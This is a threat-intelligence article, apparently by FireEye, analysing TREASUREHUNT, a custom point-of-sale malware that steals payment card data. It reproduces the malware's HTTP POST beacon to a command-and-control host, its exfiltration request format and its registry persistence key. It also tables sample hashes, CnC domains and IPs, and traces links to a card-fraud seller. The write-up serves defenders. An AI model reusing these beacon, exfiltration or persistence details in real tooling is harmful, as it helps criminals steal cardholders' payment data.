TREASUREHUNT: A Custom POS Malware Tool

Since early 2015, FireEye Threat Intelligence has observed the significant growth of point-of-sale (POS) malware families in underground cyber crime forums. POS malware refers to malicious software that extracts payment card information from memory and usually uploads that data to a command and control (CnC) server.

Although the PCI DSS rules changed in October 2015, leaving retailers who have not transitioned from existing “swipe” cards to EMV or “chip” enabled cards liable for card present fraud in more ways than before, many retailers are still in the process of transitioning to chip-enabled card technology. Criminals appear to be racing to infect POS systems in the United States before US retailers complete this transition. In 2015, more than a dozen new POS malware families were discovered.[1]

POS malware may be freely available, available for purchase, or custom-built for specific cyber criminals. Free tools are often a result of malware source code being leaked, and tend to be older and more easily detected by security software. POS malware available for purchase may be newly developed tools or modified versions of older tools. Then there is another class of POS malware that is developed for use exclusively by a particular threat group.

In this article we examine TREASUREHUNT, POS malware that appears to have been custom-built for the operations of a particular “dump shop,” which sells stolen credit card data. TREASUREHUNT enumerates running processes, extracts payment card information from memory, and then transmits this information to a command and control server.

TreasureHunter Version 0.1

TREASUREHUNT, which is briefly described here, gets its name from a specific string visible in the binary:

        C:\Users\Admin\documents\visual studio 2012\Projects\treasureHunter\Release\treasureHunter.pdb

Some samples contain a string referencing the version number 0.1:

        TreasureHunter version 0.1 Alpha, created by Jolly Roger
        (jollyroger@prv.name) for BearsInc. Greets to Xylitol and co.

In a typical scenario, TREASUREHUNT would be implanted on a POS system through the use of previously stolen credentials or through brute forcing common passwords that allow access to poorly secured POS systems.

When executed, TREASUREHUNT installs itself to the %APPDATA% directory and sets up a registry ‘run’ key for persistence:

        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jucheck

The malware will then initiate a beacon to a CnC server. The connection to the CnC server is via HTTP POST:

POST /megastock/gate.php?request=true HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)
Host: millionjam[.]eu
Content-Length: 78

Connection: Keep-Alive

request=a0edee4769109a&use=6fGhtyNfd97Jqw3&id=[REDACTED]

The 'request' value on the POST data is the encoded string 'GETKEYS'. The 'use' string is hardcoded and may be a campaign identifier. The ’id‘ is a unique identifier for the compromised system. The response from the CnC server is expected to contain the encoded string 'success'.

The malware scans all running processes and ignores processes that contain System33, SysWOW64, or \Windows\explorer.exe in their module names. It searches for payment card data and, if found, sends the data encoded back to the CnC server.

When payment card data is found, it is sent back to the CnC server using:

        POST  /gate.php?report=true

The data sent back contains the following tags:

        report=<encoded_track_data>&id=<encoded_data>

The operators control the compromised systems and harvest stolen payment card information through a web interface located on the CnC server.

Figure 1: Login interface on a TREASUREHUNT CnC server

All of the TREASUREHUNT samples identified so far contain the same compilation timestamp of 2014-10-19 07:14:39. This is likely an artifact of the builder rather than the time the samples were actually compiled.

MD5

Domain

Path

cec2810556c63e9c225afb6a5ca58bc1

millionjam.eu

/megastock/gate.php

cb75de605c171e36c8a593e337275d8f

cortykopl.com

/sdfsgsdsdssdf/gate.php

6a9348f582b2e121a5d9bff1e8f0935f

91.232.29.83

/sdfsgsdsdssdf/gate.php

070e9a317ee53ac3814eb86bc7d5bf49

179.43.160.34

/wp-content/temp/gate.php

3e2003878b364b5d77790109f24c9137

3sipiojt.com

/noth/gate.php

21f99135f836fb4d3f4685d704a4460d

friltopyes.com

/southcal/gate.php

ea6248e4ddd080e60e6140ab0f8562e1

seatrip888.eu

/gate.php

48692beb88058652115b5c447cd28589

friltopyes.com

/alabol/gate.php

9f9c2e6072e0a233631d234bdcf1b293

friltopyes.com

/nothcal/gate.php

         

Table 1: TREASUREHUNT v0.1 hashes and CnC details

TreasureHunter Version 0.1.1

We identified more recent and slightly modified versions of TREASUREHUNT. While the compile timestamp remains the same as the previous version, the samples were first observed on Nov. 25, 2015, and March 3, 2016. The only significant change in this version is that the malware stores encoded configuration data in the NTFS alternate data streams (ADS) of the file %USERPROFILE%\ntuser.ini. We refer to these samples as version 0.1.1” due to the presence of the following string:

        TreasureHunter version 0.1.1 Alpha, created by Jolly Roger
        (jollyroger@prv.name) for BearsInc. Greets to Xylitol and co.

MD5

Domain

Path

2dfddbc240cd6e320f69b172c1e3ce58

logmeinrescue.us.com

/system/oauth/gate.php

Table 2: TREASUREHUNT v0.1.1 hashes and Cnc details

Timeline

Because the TREASUREHUNT samples we’ve observed all have the same compile time, we need an alternate means to determine a timeline of the malware’s development and use. We used the dates when the malware samples were first seen by VirusTotal or by FireEye’s Dynamic Threat Intelligence (DTI) along with the domain registration date of the CnC server (if applicable). Based on those dates, the earliest identified sample was observed two months after the October 2014 compile date.

Figure 2: Timeline of TREASUREHUNT activity

Using this data, TREASUREHUNT appears to have been first deployed in late 2014 and was seen throughout 2015 and into 2016.

The relatively sparse sample set may indicate that TREASUREHUNT is being deployed in a targeted manner rather than being propagated indiscriminately.

Underground Connections

TREASUREHUNT contains an interesting string that points to possible underground connections:

        TreasureHunter version 0.1 Alpha, created by Jolly Roger
        (jollyroger@prv.name) for BearsInc. Greets to Xylitol and co.

The reference to “BearsInc” is an indication that TREASUREHUNT was developed exclusively for a specific cybercrime operation. BearsInc is an actor on an underground cybercrime forum dedicated to credit card fraud. BearsInc has advertised stolen payment card information for sale.

Figure 3: An advertisement by BearsInc on an underground forum

The developer of TREASUREHUNT identifies as “Jolly Roger” and uses the email address jollyroger@prv.name. Consistent with the pirate theme, the web interface through which compromised computers are controlled makes use of the icon seen in Figure 4.


Figure 4: Icon seen in web interface

The “Jolly Roger” alias and the pirate theme are reminiscent of a malware family from 2013 known as the Jolly Roger Stealer. This malware was advertised by “SynapseSoft” using the email addresses jr@exploit.im and jolly_roger@pandion.im. The connection between this “Jolly Roger” and the author of TREASUREHUNT remains unclear and there are no significant code overlaps among the two.

Xylitol is a security researcher who has frequently exposed malware operators and this reference is likely a taunt directed at the security community.

Conclusion

In the world of POS threats, there has been a rise in both underground offerings as well as new malware found in active use. The demand is likely due to the ongoing transition to EMV chip and PIN technology in the United States, which will eventually render these techniques largely useless. While some cybercriminals are looking ahead in an effort to develop ways to exploit chip and PIN (as well as near-field communication technologies), many cyber criminals are looking take advantage of memory scraping POS malware while it still works.

With an increasing number of major firms transitioning to the more secure chip-enabled cards, we expect to see cyber criminals increasingly turn their attention to smaller retailers and banks that may not be as prepared for the transition.

This article originally appeared on Visa Threat Intelligence, powered by FireEye. Click here for more information on Visa Threat Intelligence, powered by FireEye.

[1] Mandiant’s 2015 M-Trends report notes that as more retailers adopt EMV technology, threat actors appear to sidestepping EMV and shifting to “softer targets” including retailers still using traditional POS systems, e-commerce companies, and payment processors.